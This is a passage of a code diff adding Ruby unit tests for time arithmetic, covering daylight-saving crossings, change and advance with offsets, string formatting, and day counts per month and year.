+      assert_equal Time.local(2005, 4, 4, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).since(86400.seconds), "dt+86400.seconds=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 September 30th 7:27pm
+      assert_equal Time.local(2006, 10, 1, 20, 27, 0), Time.local(2006, 9, 30, 19, 27, 0).since(24.hours), "st+24.hours=>dt"
+      assert_equal Time.local(2006, 10, 1, 20, 27, 0), Time.local(2006, 9, 30, 19, 27, 0).since(86400), "st+86400=>dt"
+      assert_equal Time.local(2006, 10, 1, 20, 27, 0), Time.local(2006, 9, 30, 19, 27, 0).since(86400.seconds), "st+86400.seconds=>dt"
+
+      assert_equal Time.local(2006, 10, 2, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).since(24.hours), "dt+24.hours=>dt"
+      assert_equal Time.local(2006, 10, 2, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).since(86400), "dt+86400=>dt"
+      assert_equal Time.local(2006, 10, 2, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).since(86400.seconds), "dt+86400.seconds=>dt"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_forward_start_1day
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 April 2nd 7:27pm
+      assert_equal Time.local(2005, 4, 3, 19, 27, 0), Time.local(2005, 4, 2, 19, 27, 0).since(1.day), "st+1.day=>dt"
+      assert_equal Time.local(2005, 4, 4, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).since(1.day), "dt+1.day=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 September 30th 7:27pm
+      assert_equal Time.local(2006, 10, 1, 19, 27, 0), Time.local(2006, 9, 30, 19, 27, 0).since(1.day), "st+1.day=>dt"
+      assert_equal Time.local(2006, 10, 2, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).since(1.day), "dt+1.day=>dt"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_forward_start_tomorrow
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 April 2nd 7:27pm
+      assert_equal Time.local(2005, 4, 3, 19, 27, 0), Time.local(2005, 4, 2, 19, 27, 0).tomorrow, "st+1.day=>dt"
+      assert_equal Time.local(2005, 4, 4, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).tomorrow, "dt+1.day=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 September 30th 7:27pm
+      assert_equal Time.local(2006, 10, 1, 19, 27, 0), Time.local(2006, 9, 30, 19, 27, 0).tomorrow, "st+1.day=>dt"
+      assert_equal Time.local(2006, 10, 2, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).tomorrow, "dt+1.day=>dt"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_backward_start_yesterday
+    with_env_tz "US/Eastern" do
+      # st: US: 2005 April 2nd 7:27pm
+      assert_equal Time.local(2005, 4, 2, 19, 27, 0), Time.local(2005, 4, 3, 19, 27, 0).yesterday, "dt-1.day=>st"
+      assert_equal Time.local(2005, 4, 3, 19, 27, 0), Time.local(2005, 4, 4, 19, 27, 0).yesterday, "dt-1.day=>dt"
+    end
+    with_env_tz "NZ" do
+      # st: New Zealand: 2006 September 30th 7:27pm
+      assert_equal Time.local(2006, 9, 30, 19, 27, 0), Time.local(2006, 10, 1, 19, 27, 0).yesterday, "dt-1.day=>st"
+      assert_equal Time.local(2006, 10, 1, 19, 27, 0), Time.local(2006, 10, 2, 19, 27, 0).yesterday, "dt-1.day=>dt"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_forward_end
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 October 30th 12:45am
+      assert_equal Time.local(2005, 10, 30, 23, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).since(24.hours), "dt+24.hours=>st"
+      assert_equal Time.local(2005, 10, 30, 23, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).since(86400), "dt+86400=>st"
+      assert_equal Time.local(2005, 10, 30, 23, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).since(86400.seconds), "dt+86400.seconds=>st"
+
+      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).since(24.hours), "st+24.hours=>st"
+      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).since(86400), "st+86400=>st"
+      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).since(86400.seconds), "st+86400.seconds=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 March 19th 1:45am
+      assert_equal Time.local(2006, 3, 20, 0, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).since(24.hours), "dt+24.hours=>st"
+      assert_equal Time.local(2006, 3, 20, 0, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).since(86400), "dt+86400=>st"
+      assert_equal Time.local(2006, 3, 20, 0, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).since(86400.seconds), "dt+86400.seconds=>st"
+
+      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).since(24.hours), "st+24.hours=>st"
+      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).since(86400), "st+86400=>st"
+      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).since(86400.seconds), "st+86400.seconds=>st"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_forward_end_1day
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 October 30th 12:45am
+      assert_equal Time.local(2005, 10, 31, 0, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).since(1.day), "dt+1.day=>st"
+      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).since(1.day), "st+1.day=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 March 19th 1:45am
+      assert_equal Time.local(2006, 3, 20, 1, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).since(1.day), "dt+1.day=>st"
+      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).since(1.day), "st+1.day=>st"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_forward_end_tomorrow
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 October 30th 12:45am
+      assert_equal Time.local(2005, 10, 31, 0, 45, 0), Time.local(2005, 10, 30, 0, 45, 0).tomorrow, "dt+1.day=>st"
+      assert_equal Time.local(2005, 11, 1, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).tomorrow, "st+1.day=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 March 19th 1:45am
+      assert_equal Time.local(2006, 3, 20, 1, 45, 0), Time.local(2006, 3, 19, 1, 45, 0).tomorrow, "dt+1.day=>st"
+      assert_equal Time.local(2006, 3, 21, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).tomorrow, "st+1.day=>st"
+    end
+  end
+
+  def test_daylight_savings_time_crossings_backward_end_yesterday
+    with_env_tz "US/Eastern" do
+      # dt: US: 2005 October 30th 12:45am
+      assert_equal Time.local(2005, 10, 30, 0, 45, 0), Time.local(2005, 10, 31, 0, 45, 0).yesterday, "st-1.day=>dt"
+      assert_equal Time.local(2005, 10, 31, 0, 45, 0), Time.local(2005, 11, 1, 0, 45, 0).yesterday, "st-1.day=>st"
+    end
+    with_env_tz "NZ" do
+      # dt: New Zealand: 2006 March 19th 1:45am
+      assert_equal Time.local(2006, 3, 19, 1, 45, 0), Time.local(2006, 3, 20, 1, 45, 0).yesterday, "st-1.day=>dt"
+      assert_equal Time.local(2006, 3, 20, 1, 45, 0), Time.local(2006, 3, 21, 1, 45, 0).yesterday, "st-1.day=>st"
+    end
+  end
+
+  def test_change
+    assert_equal Time.local(2006, 2, 22, 15, 15, 10), Time.local(2005, 2, 22, 15, 15, 10).change(year: 2006)
+    assert_equal Time.local(2005, 6, 22, 15, 15, 10), Time.local(2005, 2, 22, 15, 15, 10).change(month: 6)
+    assert_equal Time.local(2012, 9, 22, 15, 15, 10), Time.local(2005, 2, 22, 15, 15, 10).change(year: 2012, month: 9)
+    assert_equal Time.local(2005, 2, 22, 16),       Time.local(2005, 2, 22, 15, 15, 10).change(hour: 16)
+    assert_equal Time.local(2005, 2, 22, 16, 45),    Time.local(2005, 2, 22, 15, 15, 10).change(hour: 16, min: 45)
+    assert_equal Time.local(2005, 2, 22, 15, 45),    Time.local(2005, 2, 22, 15, 15, 10).change(min: 45)
+
+    assert_equal Time.local(2005, 1, 2, 5, 0, 0, 0), Time.local(2005, 1, 2, 11, 22, 33, 44).change(hour: 5)
+    assert_equal Time.local(2005, 1, 2, 11, 6, 0, 0), Time.local(2005, 1, 2, 11, 22, 33, 44).change(min: 6)
+    assert_equal Time.local(2005, 1, 2, 11, 22, 7, 0), Time.local(2005, 1, 2, 11, 22, 33, 44).change(sec: 7)
+    assert_equal Time.local(2005, 1, 2, 11, 22, 33, 8), Time.local(2005, 1, 2, 11, 22, 33, 44).change(usec: 8)
+    assert_equal Time.local(2005, 1, 2, 11, 22, 33, 8), Time.local(2005, 1, 2, 11, 22, 33, 2).change(nsec: 8000)
+    assert_raise(ArgumentError) { Time.local(2005, 1, 2, 11, 22, 33, 8).change(usec: 1, nsec: 1) }
+    assert_nothing_raised { Time.new(2015, 5, 9, 10, 00, 00, "+03:00").change(nsec: 999999999) }
+  end
+
+  def test_utc_change
+    assert_equal Time.utc(2006, 2, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).change(year: 2006)
+    assert_equal Time.utc(2005, 6, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).change(month: 6)
+    assert_equal Time.utc(2012, 9, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).change(year: 2012, month: 9)
+    assert_equal Time.utc(2005, 2, 22, 16),       Time.utc(2005, 2, 22, 15, 15, 10).change(hour: 16)
+    assert_equal Time.utc(2005, 2, 22, 16, 45),    Time.utc(2005, 2, 22, 15, 15, 10).change(hour: 16, min: 45)
+    assert_equal Time.utc(2005, 2, 22, 15, 45),    Time.utc(2005, 2, 22, 15, 15, 10).change(min: 45)
+    assert_equal Time.utc(2005, 1, 2, 11, 22, 33, 8), Time.utc(2005, 1, 2, 11, 22, 33, 2).change(nsec: 8000)
+  end
+
+  def test_offset_change
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(year: 2006)
+    assert_equal Time.new(2005, 6, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(month: 6)
+    assert_equal Time.new(2012, 9, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(year: 2012, month: 9)
+    assert_equal Time.new(2005, 2, 22, 16, 0, 0, "-08:00"),   Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(hour: 16)
+    assert_equal Time.new(2005, 2, 22, 16, 45, 0, "-08:00"),  Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(hour: 16, min: 45)
+    assert_equal Time.new(2005, 2, 22, 15, 45, 0, "-08:00"),  Time.new(2005, 2, 22, 15, 15, 10, "-08:00").change(min: 45)
+    assert_equal Time.new(2005, 2, 22, 15, 15, 10, "-08:00"),  Time.new(2005, 2, 22, 15, 15, 0, "-08:00").change(sec: 10)
+    assert_equal 10, Time.new(2005, 2, 22, 15, 15, 0, "-08:00").change(usec: 10).usec
+    assert_equal 10, Time.new(2005, 2, 22, 15, 15, 0, "-08:00").change(nsec: 10).nsec
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(usec: 1000000) }
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "-08:00").change(nsec: 1000000000) }
+  end
+
+  def test_change_offset
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, "-08:00"), Time.new(2006, 2, 22, 15, 15, 10, "+01:00").change(offset: "-08:00")
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, -28800), Time.new(2006, 2, 22, 15, 15, 10, 3600).change(offset: -28800)
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "+01:00").change(usec: 1000000, offset: "-08:00") }
+    assert_raise(ArgumentError) { Time.new(2005, 2, 22, 15, 15, 45, "+01:00").change(nsec: 1000000000, offset: -28800) }
+  end
+
+  def test_advance
+    assert_equal Time.local(2006, 2, 28, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 1)
+    assert_equal Time.local(2005, 6, 28, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(months: 4)
+    assert_equal Time.local(2005, 3, 21, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(weeks: 3)
+    assert_equal Time.local(2005, 3, 25, 3, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(weeks: 3.5)
+    assert_in_delta Time.local(2005, 3, 26, 12, 51, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(weeks: 3.7), 1
+    assert_equal Time.local(2005, 3, 5, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(days: 5)
+    assert_equal Time.local(2005, 3, 6, 3, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(days: 5.5)
+    assert_in_delta Time.local(2005, 3, 6, 8, 3, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(days: 5.7), 1
+    assert_equal Time.local(2012, 9, 28, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 7)
+    assert_equal Time.local(2013, 10, 3, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, days: 5)
+    assert_equal Time.local(2013, 10, 17, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
+    assert_equal Time.local(2001, 12, 27, 15, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
+    assert_equal Time.local(2005, 2, 28, 15, 15, 10), Time.local(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal Time.local(2005, 2, 28, 20, 15, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: 5)
+    assert_equal Time.local(2005, 2, 28, 15, 22, 10), Time.local(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
+    assert_equal Time.local(2005, 2, 28, 15, 15, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
+    assert_equal Time.local(2005, 2, 28, 20, 22, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: 5, minutes: 7, seconds: 9)
+    assert_equal Time.local(2005, 2, 28, 10, 8, 1), Time.local(2005, 2, 28, 15, 15, 10).advance(hours: -5, minutes: -7, seconds: -9)
+    assert_equal Time.local(2013, 10, 17, 20, 22, 19), Time.local(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5, hours: 5, minutes: 7, seconds: 9)
+  end
+
+  def test_utc_advance
+    assert_equal Time.utc(2006, 2, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).advance(years: 1)
+    assert_equal Time.utc(2005, 6, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).advance(months: 4)
+    assert_equal Time.utc(2005, 3, 21, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(weeks: 3)
+    assert_equal Time.utc(2005, 3, 25, 3, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(weeks: 3.5)
+    assert_in_delta Time.utc(2005, 3, 26, 12, 51, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(weeks: 3.7), 1
+    assert_equal Time.utc(2005, 3, 5, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(days: 5)
+    assert_equal Time.utc(2005, 3, 6, 3, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(days: 5.5)
+    assert_in_delta Time.utc(2005, 3, 6, 8, 3, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(days: 5.7), 1
+    assert_equal Time.utc(2012, 9, 22, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).advance(years: 7, months: 7)
+    assert_equal Time.utc(2013, 10, 3, 15, 15, 10), Time.utc(2005, 2, 22, 15, 15, 10).advance(years: 7, months: 19, days: 11)
+    assert_equal Time.utc(2013, 10, 17, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5)
+    assert_equal Time.utc(2001, 12, 27, 15, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(years: -3, months: -2, days: -1)
+    assert_equal Time.utc(2005, 2, 28, 15, 15, 10), Time.utc(2004, 2, 29, 15, 15, 10).advance(years: 1) #leap day plus one year
+    assert_equal Time.utc(2005, 2, 28, 20, 15, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(hours: 5)
+    assert_equal Time.utc(2005, 2, 28, 15, 22, 10), Time.utc(2005, 2, 28, 15, 15, 10).advance(minutes: 7)
+    assert_equal Time.utc(2005, 2, 28, 15, 15, 19), Time.utc(2005, 2, 28, 15, 15, 10).advance(seconds: 9)
+    assert_equal Time.utc(2005, 2, 28, 20, 22, 19), Time.utc(2005, 2, 28, 15, 15, 10).advance(hours: 5, minutes: 7, seconds: 9)
+    assert_equal Time.utc(2005, 2, 28, 10, 8, 1), Time.utc(2005, 2, 28, 15, 15, 10).advance(hours: -5, minutes: -7, seconds: -9)
+    assert_equal Time.utc(2013, 10, 17, 20, 22, 19), Time.utc(2005, 2, 28, 15, 15, 10).advance(years: 7, months: 19, weeks: 2, days: 5, hours: 5, minutes: 7, seconds: 9)
+  end
+
+  def test_offset_advance
+    assert_equal Time.new(2006, 2, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").advance(years: 1)
+    assert_equal Time.new(2005, 6, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").advance(months: 4)
+    assert_equal Time.new(2005, 3, 21, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(weeks: 3)
+    assert_equal Time.new(2005, 3, 25, 3, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(weeks: 3.5)
+    assert_in_delta Time.new(2005, 3, 26, 12, 51, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(weeks: 3.7), 1
+    assert_equal Time.new(2005, 3, 5, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(days: 5)
+    assert_equal Time.new(2005, 3, 6, 3, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(days: 5.5)
+    assert_in_delta Time.new(2005, 3, 6, 8, 3, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(days: 5.7), 1
+    assert_equal Time.new(2012, 9, 22, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").advance(years: 7, months: 7)
+    assert_equal Time.new(2013, 10, 3, 15, 15, 10, "-08:00"), Time.new(2005, 2, 22, 15, 15, 10, "-08:00").advance(years: 7, months: 19, days: 11)
+    assert_equal Time.new(2013, 10, 17, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(years: 7, months: 19, weeks: 2, days: 5)
+    assert_equal Time.new(2001, 12, 27, 15, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(years: -3, months: -2, days: -1)
+    assert_equal Time.new(2005, 2, 28, 15, 15, 10, "-08:00"), Time.new(2004, 2, 29, 15, 15, 10, "-08:00").advance(years: 1) #leap day plus one year
+    assert_equal Time.new(2005, 2, 28, 20, 15, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(hours: 5)
+    assert_equal Time.new(2005, 2, 28, 15, 22, 10, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(minutes: 7)
+    assert_equal Time.new(2005, 2, 28, 15, 15, 19, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(seconds: 9)
+    assert_equal Time.new(2005, 2, 28, 20, 22, 19, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(hours: 5, minutes: 7, seconds: 9)
+    assert_equal Time.new(2005, 2, 28, 10, 8, 1, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(hours: -5, minutes: -7, seconds: -9)
+    assert_equal Time.new(2013, 10, 17, 20, 22, 19, "-08:00"), Time.new(2005, 2, 28, 15, 15, 10, "-08:00").advance(years: 7, months: 19, weeks: 2, days: 5, hours: 5, minutes: 7, seconds: 9)
+  end
+
+  def test_advance_with_nsec
+    t = Time.at(0, Rational(108635108, 1000))
+    assert_equal t, t.advance(months: 0)
+  end
+
+  def test_advance_gregorian_proleptic
+    assert_equal Time.local(1582, 10, 14, 15, 15, 10), Time.local(1582, 10, 15, 15, 15, 10).advance(days: -1)
+    assert_equal Time.local(1582, 10, 15, 15, 15, 10), Time.local(1582, 10, 14, 15, 15, 10).advance(days: 1)
+    assert_equal Time.local(1582, 10, 5, 15, 15, 10), Time.local(1582, 10, 4, 15, 15, 10).advance(days: 1)
+    assert_equal Time.local(1582, 10, 4, 15, 15, 10), Time.local(1582, 10, 5, 15, 15, 10).advance(days: -1)
+  end
+
+  def test_last_week
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2005, 2, 21), Time.local(2005, 3, 1, 15, 15, 10).last_week
+      assert_equal Time.local(2005, 2, 22), Time.local(2005, 3, 1, 15, 15, 10).last_week(:tuesday)
+      assert_equal Time.local(2005, 2, 25), Time.local(2005, 3, 1, 15, 15, 10).last_week(:friday)
+      assert_equal Time.local(2006, 10, 30), Time.local(2006, 11, 6, 0, 0, 0).last_week
+      assert_equal Time.local(2006, 11, 15), Time.local(2006, 11, 23, 0, 0, 0).last_week(:wednesday)
+    end
+  end
+
+  def test_next_week_near_daylight_start
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2006, 4, 3), Time.local(2006, 4, 2, 23, 1, 0).next_week, "just crossed standard => daylight"
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2006, 10, 2), Time.local(2006, 10, 1, 23, 1, 0).next_week, "just crossed standard => daylight"
+    end
+  end
+
+  def test_next_week_near_daylight_end
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2006, 10, 30), Time.local(2006, 10, 29, 23, 1, 0).next_week, "just crossed daylight => standard"
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2006, 3, 20), Time.local(2006, 3, 19, 23, 1, 0).next_week, "just crossed daylight => standard"
+    end
+  end
+
+  def test_to_s
+    time = Time.utc(2005, 2, 21, 17, 44, 30.12345678901)
+    assert_equal time.to_default_s,                 time.to_s
+    assert_equal time.to_default_s,                 time.to_s(:doesnt_exist)
+    assert_equal "2005-02-21 17:44:30",             time.to_s(:db)
+    assert_equal "21 Feb 17:44",                    time.to_s(:short)
+    assert_equal "17:44",                           time.to_s(:time)
+    assert_equal "20050221174430",                  time.to_s(:number)
+    assert_equal "20050221174430123456789",         time.to_s(:nsec)
+    assert_equal "20050221174430123456",            time.to_s(:usec)
+    assert_equal "February 21, 2005 17:44",         time.to_s(:long)
+    assert_equal "February 21st, 2005 17:44",       time.to_s(:long_ordinal)
+    with_env_tz "UTC" do
+      assert_equal "Mon, 21 Feb 2005 17:44:30 +0000", time.to_s(:rfc822)
+    end
+    with_env_tz "US/Central" do
+      assert_equal "Thu, 05 Feb 2009 14:30:05 -0600", Time.local(2009, 2, 5, 14, 30, 5).to_s(:rfc822)
+      assert_equal "Mon, 09 Jun 2008 04:05:01 -0500", Time.local(2008, 6, 9, 4, 5, 1).to_s(:rfc822)
+      assert_equal "2009-02-05T14:30:05-06:00", Time.local(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+      assert_equal "2008-06-09T04:05:01-05:00", Time.local(2008, 6, 9, 4, 5, 1).to_s(:iso8601)
+      assert_equal "2009-02-05T14:30:05Z", Time.utc(2009, 2, 5, 14, 30, 5).to_s(:iso8601)
+    end
+  end
+
+  def test_custom_date_format
+    Time::DATE_FORMATS[:custom] = "%Y%m%d%H%M%S"
+    assert_equal "20050221143000", Time.local(2005, 2, 21, 14, 30, 0).to_s(:custom)
+    Time::DATE_FORMATS.delete(:custom)
+  end
+
+  def test_rfc3339_with_fractional_seconds
+    time = Time.new(1999, 12, 31, 19, 0, Rational(1, 8), -18000)
+    assert_equal "1999-12-31T19:00:00.125-05:00", time.rfc3339(3)
+  end
+
+  def test_to_date
+    assert_equal Date.new(2005, 2, 21), Time.local(2005, 2, 21, 17, 44, 30).to_date
+  end
+
+  def test_to_datetime
+    assert_equal Time.utc(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, 0)
+    with_env_tz "US/Eastern" do
+      assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
+    end
+    with_env_tz "NZ" do
+      assert_equal Time.local(2005, 2, 21, 17, 44, 30).to_datetime, DateTime.civil(2005, 2, 21, 17, 44, 30, Rational(Time.local(2005, 2, 21, 17, 44, 30).utc_offset, 86400))
+    end
+    assert_equal ::Date::ITALY, Time.utc(2005, 2, 21, 17, 44, 30).to_datetime.start # use Ruby's default start value
+  end
+
+  def test_to_time
+    with_env_tz "US/Eastern" do
+      assert_equal Time, Time.local(2005, 2, 21, 17, 44, 30).to_time.class
+      assert_equal Time.local(2005, 2, 21, 17, 44, 30), Time.local(2005, 2, 21, 17, 44, 30).to_time
+      assert_equal Time.local(2005, 2, 21, 17, 44, 30).utc_offset, Time.local(2005, 2, 21, 17, 44, 30).to_time.utc_offset
+    end
+  end
+
+  # NOTE: this test seems to fail (changeset 1958) only on certain platforms,
+  # like OSX, and FreeBSD 5.4.
+  def test_fp_inaccuracy_ticket_1836
+    midnight = Time.local(2005, 2, 21, 0, 0, 0)
+    assert_equal midnight.midnight, (midnight + 1.hour + 0.000001).midnight
+  end
+
+  def test_days_in_month_with_year
+    assert_equal 31, Time.days_in_month(1, 2005)
+
+    assert_equal 28, Time.days_in_month(2, 2005)
+    assert_equal 29, Time.days_in_month(2, 2004)
+    assert_equal 29, Time.days_in_month(2, 2000)
+    assert_equal 28, Time.days_in_month(2, 1900)
+
+    assert_equal 31, Time.days_in_month(3, 2005)
+    assert_equal 30, Time.days_in_month(4, 2005)
+    assert_equal 31, Time.days_in_month(5, 2005)
+    assert_equal 30, Time.days_in_month(6, 2005)
+    assert_equal 31, Time.days_in_month(7, 2005)
+    assert_equal 31, Time.days_in_month(8, 2005)
+    assert_equal 30, Time.days_in_month(9, 2005)
+    assert_equal 31, Time.days_in_month(10, 2005)
+    assert_equal 30, Time.days_in_month(11, 2005)
+    assert_equal 31, Time.days_in_month(12, 2005)
+  end
+
+  def test_days_in_month_feb_in_common_year_without_year_arg
+    Time.stub(:now, Time.utc(2007)) do
+      assert_equal 28, Time.days_in_month(2)
+    end
+  end
+
+  def test_days_in_month_feb_in_leap_year_without_year_arg
+    Time.stub(:now, Time.utc(2008)) do
+      assert_equal 29, Time.days_in_month(2)
+    end
+  end
+
+  def test_days_in_year_with_year
+    assert_equal 365, Time.days_in_year(2005)
+    assert_equal 366, Time.days_in_year(2004)
+    assert_equal 366, Time.days_in_year(2000)
+    assert_equal 365, Time.days_in_year(1900)
+  end
+
+  def test_days_in_year_in_common_year_without_year_arg
+    Time.stub(:now, Time.utc(2007)) do
+      assert_equal 365, Time.days_in_year
+    end
+  end
+
+  def test_days_in_year_in_leap_year_without_year_arg
+    Time.stub(:now, Time.utc(2008)) do
+      assert_equal 366, Time.days_in_year
+    end
+  end
+
+  def test_last_month_on_31st
+    assert_equal Time.local(2004, 2, 29), Time.local(2004, 3, 31).last_month
+  end
+
+  def test_xmlschema_is_available
+    assert_nothing_raised { Time.now.xmlschema }
+  end
+
+  def test_today_with_time_local
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.local(1999, 12, 31, 23, 59, 59).today?
+      assert_equal true,  Time.local(2000, 1, 1, 0).today?
+      assert_equal true,  Time.local(2000, 1, 1, 23, 59, 59).today?
+      assert_equal false, Time.local(2000, 1, 2, 0).today?
+    end
+  end
+
+  def test_today_with_time_utc
+    Date.stub(:current, Date.new(2000, 1, 1)) do
+      assert_equal false, Time.utc(1999, 12, 31, 23, 59, 59).today?
+      assert_equal true,  Time.utc(2000, 1, 1, 0).today?
+      assert_equal true,  Time.utc(2000, 1, 1, 23, 59, 59).today?
+      assert_equal false, Time.utc(2000, 1, 2, 0).today?
+    end
+  end
+
+  def test_past_with_time_current_as_time_local
+    with_env_tz "US/Eastern" do
+      Time.stub(:current, Time.local(2005, 2, 10, 15, 30, 45)) do
+        assert_equal true,  Time.local(2005, 2, 10, 15, 30, 44).past?
+        assert_equal false,  Time.local(2005, 2, 10, 15, 30, 45).past?
+        assert_equal false,  Time.local(2005, 2, 10, 15, 30, 46).past?
+        assert_equal true,  Time.utc(2005, 2, 10, 20, 30, 44).past?
